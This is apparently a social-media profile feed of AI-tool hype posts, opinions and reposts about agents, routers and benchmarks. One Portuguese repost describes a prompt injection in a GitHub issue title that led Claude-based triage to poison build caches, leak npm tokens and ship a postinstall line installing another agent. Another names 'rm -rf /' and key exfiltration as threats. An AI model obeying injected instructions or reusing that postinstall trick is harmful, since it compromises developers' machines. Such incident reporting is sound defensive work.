Isaac Bell | 0→1 AI Systems

Fractional CTO for early-stage founders
I turn messy AI ideas into systems that hold up.

Building my own operator engine in public.

[Ihtesham Ali @ihtesham2005]

🚨BREAKING: Someone built a smart LLM router that automatically cuts your AI inference costs by 78%.

It's called ClawRouter and the numbers are genuinely insane.

Every request gets scored across 14 dimensions in under 1ms reasoning markers, code presence, complexity, token count and gets routed to the cheapest model that can actually handle it.

Here's what that looks like in practice:

"What is 2+2?" → DeepSeek $0.27/M (saved 99%)
"Summarize this article" → GPT-4o-mini $0.60/M (saved 99%)
"Build a React component" → Claude Sonnet $15/M (best balance)
"Prove this theorem" → DeepSeek-R $0.42/M (reasoning)

Blended average across a typical workload comes out to $3.17/M.

Compare that to $75/M if you're just defaulting everything to Claude Opus.

And the payment model is different from anything else out there. No accounts. No API keys. No shared secrets. You generate a wallet, fund it with $5 USDC on Base, and pay per request. That's it. $5 gets you hundreds of requests.

30+ models across OpenAI, Anthropic, Google, DeepSeek, xAI, and Moonshot. All routing runs 100% locally zero external API calls for routing decisions.

100% Opensource. MIT License.

Link in comments.

[Isaac Bell | 0→1 AI Systems @Tech_With_Ike]

Anthropic and Alibaba both released new studies about AI's impact for coding teams.

The headline: agents perform worse than humans

The real story: AI and humans act differently in the long term. Different problems require a different blend of them.

[Isaac Bell | 0→1 AI Systems @Tech_With_Ike]

Vibe coding is like driving a smart car - you can't fall asleep at the wheel.

Even with good guardrails, agents will make mistakes. Here's me testing two agents in "YOLO" mode.

[Nav Toor @heynavtoor]

🚨Someone just open sourced a computer that works when the entire internet goes down.

It's called Project N.O.M.A.D.

A self-contained offline survival server with AI, Wikipedia, maps, medical references, and full education courses.

No internet. No cloud. No subscription. It just works.

Here's what's packed inside:

→ A local AI assistant powered by Ollama (works fully offline)
→ All of Wikipedia, downloadable and searchable
→ Offline maps of any region you choose
→ Medical references and survival guides
→ Full Khan Academy courses with progress tracking
→ Encryption and data analysis tools via CyberChef
→ Document upload with semantic search (local RAG)

Here's the wildest part:

A solar panel, a battery, a mini PC, and a WiFi access point. That's it. That's your entire off-grid knowledge station. 15 to 65 watts of power. Works from a cabin, an RV, a sailboat, or a bunker.

Companies sell "prepper drives" with static PDFs for $185. This gives you a full AI brain, an entire encyclopedia, and real courses for free.

One command to install.

100% Open Source. Apache 2.0 License.

[Abhishek Singh @0xlelouch_]

The only terms you need to learn and experience in production in some form to become a respected backend swe.

1. Idempotency
2. Timeouts + retries
3. Backpressure
4. Rate limits + quotas
5. Circuit breakers
6. Consistency model
7. Ordering + dedupe
8. DLQ + replay strategy
9. Observability: logs, metrics, traces, SLOs
10. Rollouts: canary, feature flags, fast rollback

Let that sink in.

[Deborah Folloni → 🪽epic.new @dfolloni]

Um hacker simplesmente hackeou o @cline e instalou o OpenClaw em 4.000 computadores com prompt injection 🫠

Olha que loucura:

- O time do Cline criou um workflow de triagem de issues automatizado no GitHub, usando o próprio Claude pra ler e categorizar os tickets
- O hacker abriu uma issue com um prompt injection no título — o Claude leu, achou que era uma instrução legítima, e executou
- Com isso, ele encheu o cache do GitHub com lixo até forçar a deleção dos caches legítimos de build, substituiu por caches envenenados, e roubou os tokens de publicação do npm
- Com os tokens em mãos, ele publicou uma nova versão do cline que parecia idêntica a anterior, só que com uma linhazinha a mais no package.json: "postinstall": "npm install -g openclaw@latest"

Resultado: 4,000 devs instalaram o openclaw nas suas máquinas sem saber (aka: um agente com acesso total ao seu computador) 🥲

Muito importante lembrar que IAs não têm malícia e por isso prompt injections são, na minha opinião, a maior vulnerabilidade delas.

Resumindo galera: CUIDADO.

quem quiser ler na íntegra: https://t.co/dedPp8fPxF

[Ashutosh Maheshwari @asmah2107]

https://t.co/qFor1IPgOg

[Isaac Bell | 0→1 AI Systems @Tech_With_Ike]

Builders underestimate how hard real privacy is.

Even anonymous" payment systems leak data through:
- network logs
- identity verification
- behavioral patterns
- vendor analytics

Compliance people know this.
Attackers know this.

Most founders don’t.

[Isaac Bell | 0→1 AI Systems @Tech_With_Ike]

LinkedIn's video-first algorithm now boosts native video 5x over static posts & penalizes external links by 40%.

Critical GTM shift for B2B founders.

https://t.co/H43t5Gqo7u

[Jainam Parmar @aiwithjainam]

🚨 A developer just built the personal intelligence terminal governments pay millions for.

It's called Crucix and it runs on your own machine for free.

Here's what it actually does:

It pulls from 26 open-source intelligence feeds in parallel every 15 minutes and renders everything on a single Jarvis-style dashboard:

→ NASA satellite fire and thermal anomaly detection
→ Real-time ADS-B flight tracking across 6 hotspot regions
→ Maritime vessel tracking including "dark ships" going off radar
→ Radiation monitoring near 6 nuclear sites (Safecast + EPA RadNet)
→ Armed conflict events battles, explosions, protests (ACLED)
→ UN humanitarian crisis tracking + WHO disease outbreak alerts
→ US Treasury sanctions and global sanctions lists
→ FRED economic indicators yield curve, CPI, VIX, M2
→ Live market data SPY, QQQ, BTC, Gold, WTI, VIX
→ 17 curated Telegram OSINT/conflict/finance channels
→ Social sentiment from Bluesky and Reddit
→ Global HF radio receiver network (KiwiSDR, ~600 receivers)

And it's not just a dashboard. It's a two-way intelligence assistant.

Connect an LLM and it:

- Evaluates signals across all 26 sources simultaneously
- Classifies alerts into FLASH / PRIORITY / ROUTINE tiers
- Generates AI trade ideas grounded in real cross-domain data
- Responds to /brief, /sweep, /status commands from your phone

The Telegram and Discord bots work with zero LLM too. Rule-based engine takes over automatically.

Zero cloud. Zero telemetry. Zero subscriptions.

18+ sources require no API keys at all. The 3 that unlock the most value (NASA FIRMS, FRED, EIA) are all free and take 60 seconds to register.

node server.mjs and you're running.

100% Opensource. MIT License.

[Sherry Jiang is at ai engineer singapore @SherryYanJiang]

who is building something cool in world models / physical ai??

[Govind @Govindtwtt]

Unpopular opinion: you actually need real coding knowledge to vibe-code properly.

[Austin Walker 🛴 @austinxwalker]

healthtech is the most asymmetric opportunity in startups right now.

AI is going to cut the cost of healthcare by 10x. that doesn't shrink the market. it creates an entirely new one.

and the best engineers are building the 50th AI wrapper for email.

[Isaac Bell | 0→1 AI Systems @Tech_With_Ike]

Been looking at this. This workflow looks like a good way for tech teams to promote technical learning among team members.

The killer bit is that it explains exactly what it's doing instead of just "vibing".

Could be a default standard in the future.

[Ihtesham Ali @ihtesham2005]

🚨 Holy shit...A developer on GitHub just built a full development methodology for AI coding agents and it has 40.9K stars on GitHub.

It's called Superpowers, and it completely changes how your AI agent writes code.

Right now, most people fire up Claude Code or Codex and just… let it go. The agent guesses what you want, writes code before understanding the problem, skips tests, and produces spaghetti you have to babysit.

Superpowers fixes all of that.

Here's what happens when you install it:

→ Before writing a single line, the agent stops and brainstorms with you. It asks what you're actually trying to build, refines the spec through questions, and shows it to you in chunks short enough to read.

→ Once you approve the design, it creates an implementation plan so detailed that "an enthusiastic junior engineer with poor taste and no judgement" could follow it.

→ Then it launches subagent-driven development. Fresh subagents per task. Two-stage code review after each one (spec compliance, then code quality). The agent can run autonomously for hours without deviating from your plan.

→ It enforces true test-driven development. Write failing test → watch it fail → write minimal code → watch it pass → commit. It literally deletes code written before tests.

→ When tasks are done, it verifies everything, presents options (merge, PR, keep, discard), and cleans up.

The philosophy is brutal: systematic over ad-hoc. Evidence over claims. Complexity reduction. Verify before declaring success.

Works with Claude Code (plugin install), Codex, and OpenCode.

This isn't a prompt template. It's an entire operating system for how AI agents should build software.

100% Opensource. MIT License.

[Hasan Toor @hasantoxr]

🚨 BREAKING: A developer just built a military-grade firewall specifically for AI agents.

It's called Kavach and it sits silently between your AI agent and your OS kernel.

No cloud. No subscriptions. Runs entirely local.

Here's why this matters right now:

Autonomous agents like AutoGPT and LangChain scripts operate at superhuman speeds on your local file system. A bad hallucination or runaway loop can delete production databases, overwrite source code, or exfiltrate your .env keys to third-party servers before you can hit Ctrl+C.

Passive monitoring doesn't stop this.

Kavach does.

Here's what it actually does:

→ Phantom Workspace: Intercepts destructive file ops and silently redirects them to a hidden directory. The agent thinks it succeeded. Your files are untouched.

→ Temporal Rollback: Cryptographic caching of all file modifications. 1-click restoration of any mangled file. Instant.

→ Network Ghost Mode: Spoofs high-risk outbound requests with fake 200 OK responses. Neutralizes exfiltration without alerting the agent.

→ Honeypot Architecture: Deploys a fake "system_auth_tokens.json" file. Any process that reads it triggers immediate High-Risk Lockdown.

→ Turing Protocol: Actively rejects synthetic mouse injections. Randomized 3-character auth codes ensure only a human can override.

And the wild part? It has a Simulated Shell that intercepts commands like "rm -rf /" and returns fake success codes to the agent.

The agent thinks it destroyed everything.

Your files are completely safe.

Built in Rust + React via Tauri. Zero-config deployment. Download the .exe or .dmg and it's running in 60 seconds.

This is what AI security actually looks like.

100% Opensource. MIT License.

Link in comments.

[Isaac Bell | 0→1 AI Systems @Tech_With_Ike]

I've said before that integrity checks will be critical to AI quality. Great seeing tools emerging for AI guardrails

[Akhilesh Mishra @livingdevops]

🔥Breaking: NVIDIA just open-sourced the guardrails AI agents should have had from day one.

It’s called OpenShell. Announced at GTC yesterday.

Your coding agent currently has access to your terminal, files, AWS keys, and network.

OpenShell fixes that.

What it does:
- Filesystem locked at sandbox creation
- Network blocked by default.
- You whitelist what’s allowed
- API keys never touch the filesystem. Injected at runtime only
- Policies defined in simple YAML

One command to sandbox Claude Code, Codex, or Cursor.

The architecture runs a full K3s cluster inside a single Docker container.
No separate Kubernetes install.

Adobe, Atlassian, Cisco, CrowdStrike, Salesforce are already integrating it.

Most teams solve agent security at the application layer.

OpenShell solves it at the infrastructure layer.

GitHub repo link in comments.

[Dhruv @dhruv_]

found a website where you can create, program and test electronic hardware. it already has some featured projects

really great if you want to test before building your own hardware

[Isaac Bell | 0→1 AI Systems @Tech_With_Ike]

This is directionally correct. People tend to frame it as a bad thing, but that's just the way technology evolves.

The first gen of C and C++ programmers wrote a ton of "slop code" that had to be fixed later.

We'll keep learning and evolving.

[Priyanka Vergadia @pvergadia]

🤯BREAKING: Alibaba just proved that AI Coding isn't taking your job, it's just writing the legacy code that will keep you employed fixing it for the next decade. 🤣

Passing a coding test once is easy. Maintaining that code for 8 months without it exploding? Apparently, it’s nearly impossible for AI.

Alibaba tested 18 AI agents on 100 real codebases over 233-day cycles. They didn't just look for "quick fixes"—they looked for long-term survival.

The results were a bloodbath:

75% of models broke previously working code during maintenance.

Only Claude Opus 4.5/4.6 maintained a >50% zero-regression rate.

Every other model accumulated technical debt that compounded until the codebase collapsed.

We’ve been using "snapshot" benchmarks like HumanEval that only ask "Does it work right now?"

The new SWE-CI benchmark asks: "Does it still work after 8 months of evolution?"

Most AI agents are "Quick-Fix Artists." They write brittle code that passes tests today but becomes a maintenance nightmare tomorrow. They aren't building software; they're building a house of cards.

The narrative just got honest: Most models can write code. Almost none can maintain it.

[Isaac Bell | 0→1 AI Systems @Tech_With_Ike]

That's what I'm seeing. In years to come, there will be buttons to launch your own SaaS and back-end office in one click.

I'm focused on this exact area right now.

[Sayan @sayan_wtf]

At this rate everyone’s gonna have their own app and zero users.

[Jenny Fielding @jefielding]

Many VCs in the Bay Area are scouting properties to convert into AI focused hacker houses. They say you need a cool house to attract young founders. Seems a bit extreme but also v cool for all the founders who can live rent free!